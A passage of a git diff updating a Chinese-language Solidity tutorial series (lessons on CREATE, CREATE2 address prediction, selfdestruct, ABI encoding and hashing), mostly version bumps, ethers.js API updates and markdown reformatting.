-1.使用`WBNB`和`PEOPLE`的地址作为参数调用`createPair`,得到`Pair`合约地址:0xD3e2008b4Da2cD6DEAF73471590fF30C86778A48 +1. 使用`WBNB`和`PEOPLE`的地址作为参数调用`createPair`,得到`Pair`合约地址:0xD3e2008b4Da2cD6DEAF73471590fF30C86778A48 -![](./img/24-1.png) + ![24-1](./img/24-1.png) +2. 查看`Pair`合约变量 -2.查看`Pair`合约变量 + ![24-2](./img/24-2.png) +3. Debug查看`create`操作码 -![](./img/24-2.png) - -3.Debug查看`create`操作码 - -![](./img/24-3.png) + ![24-3](./img/24-3.png) ## 总结 + 这一讲,我们用极简`Uniswap`的例子介绍了如何使用`create`方法再合约里创建合约,下一讲我们将介绍如何使用`create2`方法来实现极简`Uniswap`。 diff --git a/25_Create2/Create2.sol b/25_Create2/Create2.sol index 47a8dc6f5..51f7acc93 100644 --- a/25_Create2/Create2.sol +++ b/25_Create2/Create2.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract Pair{ address public factory; // 工厂合约地址 @@ -19,37 +19,37 @@ contract Pair{ } contract PairFactory2{ - mapping(address => mapping(address => address)) public getPair; // 通过两个代币地址查Pair地址 - address[] public allPairs; // 保存所有Pair地址 + mapping(address => mapping(address => address)) public getPair; // 通过两个代币地址查Pair地址 + address[] public allPairs; // 保存所有Pair地址 - function createPair2(address tokenA, address tokenB) external returns (address pairAddr) { - require(tokenA != tokenB, 'IDENTICAL_ADDRESSES'); //避免tokenA和tokenB相同产生的冲突 - // 计算用tokenA和tokenB地址计算salt - (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); //将tokenA和tokenB按大小排序 - bytes32 salt = keccak256(abi.encodePacked(token0, token1)); - // 用create2部署新合约 - Pair pair = new Pair{salt: salt}(); - // 调用新合约的initialize方法 - pair.initialize(tokenA, tokenB); - // 更新地址map - pairAddr = address(pair); - allPairs.push(pairAddr); - getPair[tokenA][tokenB] = pairAddr; - getPair[tokenB][tokenA] = pairAddr; - } + function createPair2(address tokenA, address tokenB) external returns (address pairAddr) { + require(tokenA != tokenB, 'IDENTICAL_ADDRESSES'); //避免tokenA和tokenB相同产生的冲突 + // 计算用tokenA和tokenB地址计算salt + (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); //将tokenA和tokenB按大小排序 + bytes32 salt = keccak256(abi.encodePacked(token0, token1)); + // 用create2部署新合约 + Pair pair = new Pair{salt: salt}(); + // 调用新合约的initialize方法 + pair.initialize(tokenA, tokenB); + // 更新地址map + pairAddr = address(pair); + allPairs.push(pairAddr); + getPair[tokenA][tokenB] = pairAddr; + getPair[tokenB][tokenA] = pairAddr; + } - // 提前计算pair合约地址 - function calculateAddr(address tokenA, address tokenB) public view returns(address predictedAddress){ - require(tokenA != tokenB, 'IDENTICAL_ADDRESSES'); //避免tokenA和tokenB相同产生的冲突 - // 计算用tokenA和tokenB地址计算salt - (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); //将tokenA和tokenB按大小排序 - bytes32 salt = keccak256(abi.encodePacked(token0, token1)); - // 计算合约地址方法 hash() - predictedAddress = address(uint160(uint(keccak256(abi.encodePacked( - bytes1(0xff), - address(this), - salt, - keccak256(type(Pair).creationCode) - ))))); - } + // 提前计算pair合约地址 + function calculateAddr(address tokenA, address tokenB) public view returns(address predictedAddress){ + require(tokenA != tokenB, 'IDENTICAL_ADDRESSES'); //避免tokenA和tokenB相同产生的冲突 + // 计算用tokenA和tokenB地址计算salt + (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); //将tokenA和tokenB按大小排序 + bytes32 salt = keccak256(abi.encodePacked(token0, token1)); + // 计算合约地址方法 hash() + predictedAddress = address(uint160(uint(keccak256(abi.encodePacked( + bytes1(0xff), + address(this), + salt, + keccak256(type(Pair).creationCode) + ))))); + } } diff --git a/25_Create2/create2test.js b/25_Create2/create2test.js index 953a87b77..11b629e8c 100644 --- a/25_Create2/create2test.js +++ b/25_Create2/create2test.js @@ -6,15 +6,15 @@ describe("create2 test", function () { console.log("1.==> deploy pair"); const PairFactory = await ethers.getContractFactory("Pair"); const Pair = await PairFactory.deploy(); - await Pair.deployed(); - console.log("pair address =>",Pair.address); + await Pair.waitForDeployment(); + console.log("pair address =>",Pair.target); console.log(); console.log("2.==> deploy PairFactory2"); const PairFactory2Factory = await ethers.getContractFactory("PairFactory2"); const PairFactory2 = await PairFactory2Factory.deploy(); - await PairFactory2.deployed(); - console.log("PairFactory2 address =>",PairFactory2.address); + await PairFactory2.waitForDeployment(); + console.log("PairFactory2 address =>",PairFactory2.target); console.log("3.==> calculateAddr for wbnb people"); const WBNBAddress = "0x2c44b726ADF1963cA47Af88B284C06f30380fC78"; diff --git a/25_Create2/readme.md b/25_Create2/readme.md index a2237d29e..60ec00882 100644 --- a/25_Create2/readme.md +++ b/25_Create2/readme.md @@ -8,51 +8,63 @@ tags: - create2 --- -# WTF Solidity极简入门: 25. Create2 +# WTF Solidity极简入门: 25. CREATE2 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -欢迎关注我的推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) -欢迎加入WTF科学家社群,内有加微信群方法:[链接](https://discord.gg/5akcruXrsk) +社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github(1024个star发课程认证,2048个star发社群NFT): [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- ## CREATE2 + `CREATE2` 操作码使我们在智能合约部署在以太坊网络之前就能预测合约的地址。`Uniswap`创建`Pair`合约用的就是`CREATE2`而不是`CREATE`。这一讲,我将介绍`CREATE2`的用法 ### CREATE如何计算地址 -智能合约可以由其他合约和普通账户利用`CREATE`操作码创建。 在这两种情况下,新合约的地址都以相同的方式计算:创建者的地址(通常为部署的钱包地址或者合约地址)和`nonce`(该地址发送交易的总数,对于合约账户是创建的合约总数,每创建一个合约nonce+1))的哈希。 -``` + +智能合约可以由其他合约和普通账户利用`CREATE`操作码创建。 在这两种情况下,新合约的地址都以相同的方式计算:创建者的地址(通常为部署的钱包地址或者合约地址)和`nonce`(该地址发送交易的总数,对于合约账户是创建的合约总数,每创建一个合约nonce+1)的哈希。 + +```text 新地址 = hash(创建者地址, nonce) ``` + 创建者地址不会变,但`nonce`可能会随时间而改变,因此用`CREATE`创建的合约地址不好预测。 ### CREATE2如何计算地址 + `CREATE2`的目的是为了让合约地址独立于未来的事件。不管未来区块链上发生了什么,你都可以把合约部署在事先计算好的地址上。用`CREATE2`创建的合约地址由4个部分决定: + - `0xFF`:一个常数,避免和`CREATE`冲突 -- `CreatorAddress`: 调用 Create2 的当前合约(创建合约)地址。 -- `salt`(盐):一个创建者指定的 uint256 类型的值,的主要目的是用来影响新创建的合约的地址。 +- `CreatorAddress`: 调用 CREATE2 的当前合约(创建合约)地址。 +- `salt`(盐):一个创建者指定的`bytes32`类型的值,它的主要目的是用来影响新创建的合约的地址。 - `initcode`: 新合约的初始字节码(合约的Creation Code和构造函数的参数)。 -``` + +```text 新地址 = hash("0xFF",创建者地址, salt, initcode) ``` + `CREATE2` 确保,如果创建者使用 `CREATE2` 和提供的 `salt` 部署给定的合约`initcode`,它将存储在 `新地址` 中。 ## 如何使用`CREATE2` -`CREATE2`的用法和之前讲的`Create`类似,同样是`new`一个合约,并传入新合约构造函数所需的参数,只不过要多传一个`salt`参数: -``` + +`CREATE2`的用法和之前讲的`CREATE`类似,同样是`new`一个合约,并传入新合约构造函数所需的参数,只不过要多传一个`salt`参数: + +```solidity Contract x = new Contract{salt: _salt, value: _value}(params) ``` + 其中`Contract`是要创建的合约名,`x`是合约对象(地址),`_salt`是指定的盐;如果构造函数是`payable`,可以创建时转入`_value`数量的`ETH`,`params`是新合约构造函数的参数。 ## 极简Uniswap2 -跟[上一讲](https://mirror.xyz/wtfacademy.eth/kojopp2CgDK3ehHxXc_2fkZe87uM0O5OmsEU6y83eJs)类似,我们用`Create2`来实现极简`Uniswap`。 +跟[上一讲](https://mirror.xyz/wtfacademy.eth/kojopp2CgDK3ehHxXc_2fkZe87uM0O5OmsEU6y83eJs)类似,我们用`CREATE2`来实现极简`Uniswap`。 ### `Pair` + ```solidity contract Pair{ address public factory; // 工厂合约地址 @@ -71,78 +83,87 @@ contract Pair{ } } ``` + `Pair`合约很简单,包含3个状态变量:`factory`,`token0`和`token1`。 构造函数`constructor`在部署时将`factory`赋值为工厂合约地址。`initialize`函数会在`Pair`合约创建的时候被工厂合约调用一次,将`token0`和`token1`更新为币对中两种代币的地址。 ### `PairFactory2` + ```solidity contract PairFactory2{ - mapping(address => mapping(address => address)) public getPair; // 通过两个代币地址查Pair地址 - address[] public allPairs; // 保存所有Pair地址 - - function createPair2(address tokenA, address tokenB) external returns (address pairAddr) { - require(tokenA != tokenB, 'IDENTICAL_ADDRESSES'); //避免tokenA和tokenB相同产生的冲突 - // 用tokenA和tokenB地址计算salt - (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); //将tokenA和tokenB按大小排序 - bytes32 salt = keccak256(abi.encodePacked(token0, token1)); - // 用create2部署新合约 - Pair pair = new Pair{salt: salt}(); - // 调用新合约的initialize方法 - pair.initialize(tokenA, tokenB); - // 更新地址map - pairAddr = address(pair); - allPairs.push(pairAddr); - getPair[tokenA][tokenB] = pairAddr; - getPair[tokenB][tokenA] = pairAddr; - } + mapping(address => mapping(address => address)) public getPair; // 通过两个代币地址查Pair地址 + address[] public allPairs; // 保存所有Pair地址 + + function createPair2(address tokenA, address tokenB) external returns (address pairAddr) { + require(tokenA != tokenB, 'IDENTICAL_ADDRESSES'); //避免tokenA和tokenB相同产生的冲突 + // 用tokenA和tokenB地址计算salt + (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); //将tokenA和tokenB按大小排序 + bytes32 salt = keccak256(abi.encodePacked(token0, token1)); + // 用create2部署新合约 + Pair pair = new Pair{salt: salt}(); + // 调用新合约的initialize方法 + pair.initialize(tokenA, tokenB); + // 更新地址map + pairAddr = address(pair); + allPairs.push(pairAddr); + getPair[tokenA][tokenB] = pairAddr; + getPair[tokenB][tokenA] = pairAddr; + } +} ``` + 工厂合约(`PairFactory2`)有两个状态变量`getPair`是两个代币地址到币对地址的`map`,方便根据代币找到币对地址;`allPairs`是币对地址的数组,存储了所有币对地址。 `PairFactory2`合约只有一个`createPair2`函数,使用`CREATE2`根据输入的两个代币地址`tokenA`和`tokenB`来创建新的`Pair`合约。其中 + ```solidity - Pair pair = new Pair{salt: salt}(); +Pair pair = new Pair{salt: salt}(); ``` + 就是利用`CREATE2`创建合约的代码,非常简单,而`salt`为`token1`和`token2`的`hash`: + ```solidity - bytes32 salt = keccak256(abi.encodePacked(token0, token1)); +bytes32 salt = keccak256(abi.encodePacked(token0, token1)); ``` ### 事先计算`Pair`地址 + ```solidity - // 提前计算pair合约地址 - function calculateAddr(address tokenA, address tokenB) public view returns(address predictedAddress){ - require(tokenA != tokenB, 'IDENTICAL_ADDRESSES'); //避免tokenA和tokenB相同产生的冲突 - // 计算用tokenA和tokenB地址计算salt - (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); //将tokenA和tokenB按大小排序 - bytes32 salt = keccak256(abi.encodePacked(token0, token1)); - // 计算合约地址方法 hash() - predictedAddress = address(uint160(uint(keccak256(abi.encodePacked( - bytes1(0xff), - address(this), - salt, - keccak256(type(Pair).creationCode) - ))))); - } +// 提前计算pair合约地址 +function calculateAddr(address tokenA, address tokenB) public view returns(address predictedAddress){ + require(tokenA != tokenB, 'IDENTICAL_ADDRESSES'); //避免tokenA和tokenB相同产生的冲突 + // 计算用tokenA和tokenB地址计算salt + (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); //将tokenA和tokenB按大小排序 + bytes32 salt = keccak256(abi.encodePacked(token0, token1)); + // 计算合约地址方法 hash() + predictedAddress = address(uint160(uint(keccak256(abi.encodePacked( + bytes1(0xff), + address(this), + salt, + keccak256(type(Pair).creationCode) + ))))); +} ``` + 我们写了一个`calculateAddr`函数来事先计算`tokenA`和`tokenB`将会生成的`Pair`地址。通过它,我们可以验证我们事先计算的地址和实际地址是否相同。 大家可以部署好`PairFactory2`合约,然后用下面两个地址作为参数调用`createPair2`,看看创建的币对地址是什么,是否与事先计算的地址一样: -``` + +```text WBNB地址: 0x2c44b726ADF1963cA47Af88B284C06f30380fC78 -BSC链上的PEOPLE地址: -0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c +BSC链上的PEOPLE地址: 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c ``` #### 如果部署合约构造函数中存在参数 - 例如当create2合约时: -> Pair pair = new Pair{salt: salt}(address(this)); +> Pair pair = new Pair{salt: salt}(address(this)); 计算时,需要将参数和initcode一起进行打包: > ~~keccak256(type(Pair).creationCode)~~ > => keccak256(abi.encodePacked(type(Pair).creationCode, abi.encode(address(this)))) + ```solidity predictedAddress = address(uint160(uint(keccak256(abi.encodePacked( bytes1(0xff), @@ -153,20 +174,19 @@ predictedAddress = address(uint160(uint(keccak256(abi.encodePacked( ``` ### 在remix上验证 + 1. 首先用`WBNB`和`PEOPLE`的地址哈希作为`salt`来计算出`Pair`合约的地址 2. 调用`PairFactory2.createPair2`传入参数为`WBNB`和`PEOPLE`的地址,获取出创建的`pair`合约地址 3. 对比合约地址 -![create2_remix_test.png](./img/25-1.png) - + ![create2_remix_test.png](./img/25-1.png) ## create2的实际应用场景 -1. 交易所为新用户预留创建钱包合约地址。 -2. 由 `CREATE2` 驱动的 `factory` 合约,在`uniswapV2`中交易对的创建是在 `Factory`中调用`create2`完成。这样做的好处是: 它可以得到一个确定的`pair`地址, 使得 `Router`中就可以通过 `(tokenA, tokenB)` 计算出`pair`地址, 不再需要执行一次 `Factory.getPair(tokenA, tokenB)` 的跨合约调用。 +1. 交易所为新用户预留创建钱包合约地址。 +2. 由 `CREATE2` 驱动的 `factory` 合约,在`Uniswap V2`中交易对的创建是在 `Factory`中调用`CREATE2`完成。这样做的好处是: 它可以得到一个确定的`pair`地址, 使得 `Router`中就可以通过 `(tokenA, tokenB)` 计算出`pair`地址, 不再需要执行一次 `Factory.getPair(tokenA, tokenB)` 的跨合约调用。 ## 总结 -这一讲,我们介绍了`CREATE2`操作码的原理,使用方法,并用它完成了极简版的`Uniswap`并提前计算币对合约地址。`CREATE2`让我们可以在部署合约前确定它的合约地址,这也是 -一些`layer2`项目的基础。 +这一讲,我们介绍了`CREATE2`操作码的原理,使用方法,并用它完成了极简版的`Uniswap`并提前计算币对合约地址。`CREATE2`让我们可以在部署合约前确定它的合约地址,这也是一些`layer2`项目的基础。 diff --git a/26_DeleteContract/DeleteContract.sol b/26_DeleteContract/DeleteContract.sol index 9cda02265..1112c28bf 100644 --- a/26_DeleteContract/DeleteContract.sol +++ b/26_DeleteContract/DeleteContract.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; // selfdestruct: 删除合约,并强制将合约剩余的ETH转入指定账户 diff --git a/26_DeleteContract/img/26-1.png b/26_DeleteContract/img/26-1.png old mode 100644 new mode 100755 index b2ad5a546..5a08bb591 Binary files a/26_DeleteContract/img/26-1.png and b/26_DeleteContract/img/26-1.png differ diff --git a/26_DeleteContract/img/26-2.png b/26_DeleteContract/img/26-2.png old mode 100644 new mode 100755 index 8ddd54d87..3d572bdc4 Binary files a/26_DeleteContract/img/26-2.png and b/26_DeleteContract/img/26-2.png differ diff --git a/26_DeleteContract/readme.md b/26_DeleteContract/readme.md index a927e457d..cdd4dcd99 100644 --- a/26_DeleteContract/readme.md +++ b/26_DeleteContract/readme.md @@ -10,28 +10,32 @@ tags: # WTF Solidity极简入门: 26. 删除合约 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -欢迎关注我的推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) -欢迎加入WTF科学家社区,内有加微信群方法:[链接](https://discord.gg/5akcruXrsk) +社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github(1024个star发课程认证,2048个star发社群NFT): [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- ## `selfdestruct` `selfdestruct`命令可以用来删除智能合约,并将该合约剩余`ETH`转到指定地址。`selfdestruct`是为了应对合约出错的极端情况而设计的。它最早被命名为`suicide`(自杀),但是这个词太敏感。为了保护抑郁的程序员,改名为`selfdestruct`;在 [v0.8.18](https://blog.soliditylang.org/2023/02/01/solidity-0.8.18-release-announcement/) 版本中,`selfdestruct` 关键字被标记为「不再建议使用」,在一些情况下它会导致预期之外的合约语义,但由于目前还没有代替方案,目前只是对开发者做了编译阶段的警告,相关内容可以查看 [EIP-6049](https://eips.ethereum.org/EIPS/eip-6049)。 ### 如何使用`selfdestruct` + `selfdestruct`使用起来非常简单: + ```solidity selfdestruct(_addr); ``` -其中`_addr`是接收合约中剩余`ETH`的地址。 + +其中`_addr`是接收合约中剩余`ETH`的地址。`_addr` 地址不需要有`receive()`或`fallback()`也能接收`ETH`。 ### 例子 + ```solidity contract DeleteContract { @@ -51,30 +55,28 @@ contract DeleteContract { } } ``` + 在`DeleteContract`合约中,我们写了一个`public`状态变量`value`,两个函数:`getBalance()`用于获取合约`ETH`余额,`deleteContract()`用于自毁合约,并把`ETH`转入给发起人。 部署好合约后,我们向`DeleteContract`合约转入1 `ETH`。这时,`getBalance()`会返回1 `ETH`,`value`变量是10。 -当我们调用`deleteContract()`函数,合约将自毁,所有变量都清空,此时`value`变为默认值`0`,`getBalance()`也返回空值。 +当我们调用`deleteContract()`函数,合约将自毁,此时再次调用合约函数交互会失败。 ### 注意事项 -1. 对外提供合约销毁接口时,最好设置为只有合约所有者可以调用,可以使用函数修饰符`onlyOwner`进行函数声明。 -2. 当合约被销毁后与智能合约的交互也能成功,并且返回0。 +1. 对外提供合约销毁接口时,最好设置为只有合约所有者可以调用,可以使用函数修饰符`onlyOwner`进行函数声明。 +2. 当合约被销毁后再次与合约函数交互会报error。 +3. 当合约中有`selfdestruct`功能时常常会带来安全问题和信任问题,合约中的selfdestruct功能会为攻击者打开攻击向量(例如使用`selfdestruct`向一个合约频繁转入token进行攻击,这将大大节省了GAS的费用,虽然很少人这么做),此外,此功能还会降低用户对合约的信心。 -3. 当合约中有`selfdestruct`功能时常常会带来安全问题和信任问题,合约中的Selfdestruct功能会为攻击者打开攻击向量(例如使用`selfdestruct`向一个合约频繁转入token进行攻击,这将大大节省了GAS的费用,虽然很少人这么做),此外,此功能还会降低用户对合约的信心。 +### 在remix上验证 -### 在remix上验证 1. 部署合约并且转入1ETH,查看合约状态 -![deployContract.png](./img/26-2.png) - + ![deployContract.png](./img/26-1.png) 2. 销毁合约,查看合约状态 -![deleteContract.png](./img/26-1.png) - -从测试中观察合约状态可以发现合约销毁后的ETH返回给了指定的地址,并且在合约销毁后依然可以请求交互,所以我们不能根据这个来判断合约是否已经销毁。 - + ![deleteContract.png](./img/26-2.png) +从测试中观察合约状态可以发现合约销毁后的ETH返回给了指定的地址,在合约销毁后再次调用合约函数进行交互则会失败。 ## 总结 diff --git a/27_ABIEncode/ABIEncode.sol b/27_ABIEncode/ABIEncode.sol index 2b9e4f210..ae92b3429 100644 --- a/27_ABIEncode/ABIEncode.sol +++ b/27_ABIEncode/ABIEncode.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract ABIEncode{ uint x = 10; diff --git a/27_ABIEncode/readme.md b/27_ABIEncode/readme.md index b1d76025a..c927e056b 100644 --- a/27_ABIEncode/readme.md +++ b/27_ABIEncode/readme.md @@ -10,15 +10,15 @@ tags: # WTF Solidity极简入门: 27. ABI编码解码 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -欢迎关注我的推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) -欢迎加入WTF科学家社区,内有加微信群方法:[链接](https://discord.gg/5akcruXrsk) +社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github(1024个star发课程认证,2048个star发社群NFT): [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- `ABI` (Application Binary Interface,应用二进制接口)是与以太坊智能合约交互的标准。数据基于他们的类型编码;并且由于编码后不包含类型信息,解码时需要注明它们的类型。 @@ -27,79 +27,96 @@ tags: ## ABI编码 我们将编码4个变量,他们的类型分别是`uint256`(别名 uint), `address`, `string`, `uint256[2]`: + ```solidity - uint x = 10; - address addr = 0x7A58c0Be72BE218B41C608b7Fe7C5bB630736C71; - string name = "0xAA"; - uint[2] array = [5, 6]; +uint x = 10; +address addr = 0x7A58c0Be72BE218B41C608b7Fe7C5bB630736C71; +string name = "0xAA"; +uint[2] array = [5, 6]; ``` ### `abi.encode` + 将给定参数利用[ABI规则](https://learnblockchain.cn/docs/solidity/abi-spec.html)编码。`ABI`被设计出来跟智能合约交互,他将每个参数填充为32字节的数据,并拼接在一起。如果你要和合约交互,你要用的就是`abi.encode`。 + ```solidity - function encode() public view returns(bytes memory result) { - result = abi.encode(x, addr, name, array); - } +function encode() public view returns(bytes memory result) { + result = abi.encode(x, addr, name, array); +} ``` + 编码的结果为`0x000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000007a58c0be72be218b41c608b7fe7c5bb630736c7100000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000043078414100000000000000000000000000000000000000000000000000000000`,由于`abi.encode`将每个数据都填充为32字节,中间有很多`0`。 ### `abi.encodePacked` + 将给定参数根据其所需最低空间编码。它类似 `abi.encode`,但是会把其中填充的很多`0`省略。比如,只用1字节来编码`uint8`类型。当你想省空间,并且不与合约交互的时候,可以使用`abi.encodePacked`,例如算一些数据的`hash`时。 ```solidity - function encodePacked() public view returns(bytes memory result) { - result = abi.encodePacked(x, addr, name, array); - } +function encodePacked() public view returns(bytes memory result) { + result = abi.encodePacked(x, addr, name, array); +} ``` + 编码的结果为`0x000000000000000000000000000000000000000000000000000000000000000a7a58c0be72be218b41c608b7fe7c5bb630736c713078414100000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000006`,由于`abi.encodePacked`对编码进行了压缩,长度比`abi.encode`短很多。 ### `abi.encodeWithSignature` + 与`abi.encode`功能类似,只不过第一个参数为`函数签名`,比如`"foo(uint256,address,string,uint256[2])"`。当调用其他合约的时候可以使用。 + ```solidity - function encodeWithSignature() public view returns(bytes memory result) { - result = abi.encodeWithSignature("foo(uint256,address,string,uint256[2])", x, addr, name, array); - } +function encodeWithSignature() public view returns(bytes memory result) { + result = abi.encodeWithSignature("foo(uint256,address,string,uint256[2])", x, addr, name, array); +} ``` + 编码的结果为`0xe87082f1000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000007a58c0be72be218b41c608b7fe7c5bb630736c7100000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000043078414100000000000000000000000000000000000000000000000000000000`,等同于在`abi.encode`编码结果前加上了4字节的`函数选择器`[^说明]。 [^说明]: 函数选择器就是通过函数名和参数进行签名处理(Keccak–Sha3)来标识函数,可以用于不同合约之间的函数调用 ### `abi.encodeWithSelector` + 与`abi.encodeWithSignature`功能类似,只不过第一个参数为`函数选择器`,为`函数签名`Keccak哈希的前4个字节。 ```solidity - function encodeWithSelector() public view returns(bytes memory result) { - result = abi.encodeWithSelector(bytes4(keccak256("foo(uint256,address,string,uint256[2])")), x, addr, name, array); - } +function encodeWithSelector() public view returns(bytes memory result) { + result = abi.encodeWithSelector(bytes4(keccak256("foo(uint256,address,string,uint256[2])")), x, addr, name, array); +} ``` 编码的结果为`0xe87082f1000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000007a58c0be72be218b41c608b7fe7c5bb630736c7100000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000043078414100000000000000000000000000000000000000000000000000000000`,与`abi.encodeWithSignature`结果一样。 ## ABI解码 + ### `abi.decode` + `abi.decode`用于解码`abi.encode`生成的二进制编码,将它还原成原本的参数。 ```solidity - function decode(bytes memory data) public pure returns(uint dx, address daddr, string memory dname, uint[2] memory darray) { - (dx, daddr, dname, darray) = abi.decode(data, (uint, address, string, uint[2])); - } +function decode(bytes memory data) public pure returns(uint dx, address daddr, string memory dname, uint[2] memory darray) { + (dx, daddr, dname, darray) = abi.decode(data, (uint, address, string, uint[2])); +} ``` + 我们将`abi.encode`的二进制编码输入给`decode`,将解码出原来的参数: -![](https://images.mirror-media.xyz/publication-images/jboRaaq0U57qVYjmsOgbv.png?height=408&width=624) +![27-3](https://images.mirror-media.xyz/publication-images/jboRaaq0U57qVYjmsOgbv.png?height=408&width=624) ## 在remix上验证 + - 部署合约查看abi.encode方法的编码结果 -![](./img/27-1.png) + ![27-1](./img/27-1.png) - 对比验证四种编码方法的异同点 -![](./img/27-2.png) + ![27-2](./img/27-2.png) - 查看abi.decode方法的解码结果 -![](./img/27-3.png) + + ![27-3](./img/27-3.png) ## ABI的使用场景 + 1. 在合约开发中,ABI常配合call来实现对合约的底层调用。 -```solidity + + ```solidity bytes4 selector = contract.getValue.selector; bytes memory data = abi.encodeWithSelector(selector, _x); @@ -107,31 +124,38 @@ tags: require(success); return abi.decode(returnedData, (uint256)); -``` + ``` + 2. ethers.js中常用ABI实现合约的导入和函数调用。 -```solidity + + ```solidity const wavePortalContract = new ethers.Contract(contractAddress, contractABI, signer); /* * Call the getAllWaves method from your Smart Contract */ const waves = await wavePortalContract.getAllWaves(); -``` + ``` + 3. 对不开源合约进行反编译后,某些函数无法查到函数签名,可通过ABI进行调用。 -- 0x533ba33a() 是一个反编译后显示的函数,只有函数编码后的结果,并且无法查到函数签名 -![](./img/27-4.png) -![](./img/27-5.png) -- 这种情况无法通过构造interface接口或contract来进行调用 -![](./img/27-6.png) + - 0x533ba33a() 是一个反编译后显示的函数,只有函数编码后的结果,并且无法查到函数签名 -这种情况下,就可以通过ABI函数选择器来调用 -```solidity + ![27-4](./img/27-4.png) + ![27-5](./img/27-5.png) + + - 这种情况无法通过构造interface接口或contract来进行调用 + ![27-6](./img/27-6.png) + + 这种情况下,就可以通过ABI函数选择器来调用 + + ```solidity bytes memory data = abi.encodeWithSelector(bytes4(0x533ba33a)); (bool success, bytes memory returnedData) = address(contract).staticcall(data); require(success); return abi.decode(returnedData, (uint256)); -``` + ``` ## 总结 + 在以太坊中,数据必须编码成字节码才能和智能合约交互。这一讲,我们介绍了4种`abi编码`方法和1种`abi解码`方法。 diff --git a/28_Hash/Hash.sol b/28_Hash/Hash.sol index 8a42d4eb0..4e5b015f9 100644 --- a/28_Hash/Hash.sol +++ b/28_Hash/Hash.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract Hash{ bytes32 _msg = keccak256(abi.encodePacked("0xAA")); diff --git a/28_Hash/readme.md b/28_Hash/readme.md index 8a3e2c5f4..bbd7f77d0 100644 --- a/28_Hash/readme.md +++ b/28_Hash/readme.md @@ -9,96 +9,110 @@ tags: # WTF Solidity极简入门: 28. Hash -我最近在重新学solidity,巩固一下细节,也写一个“WTF 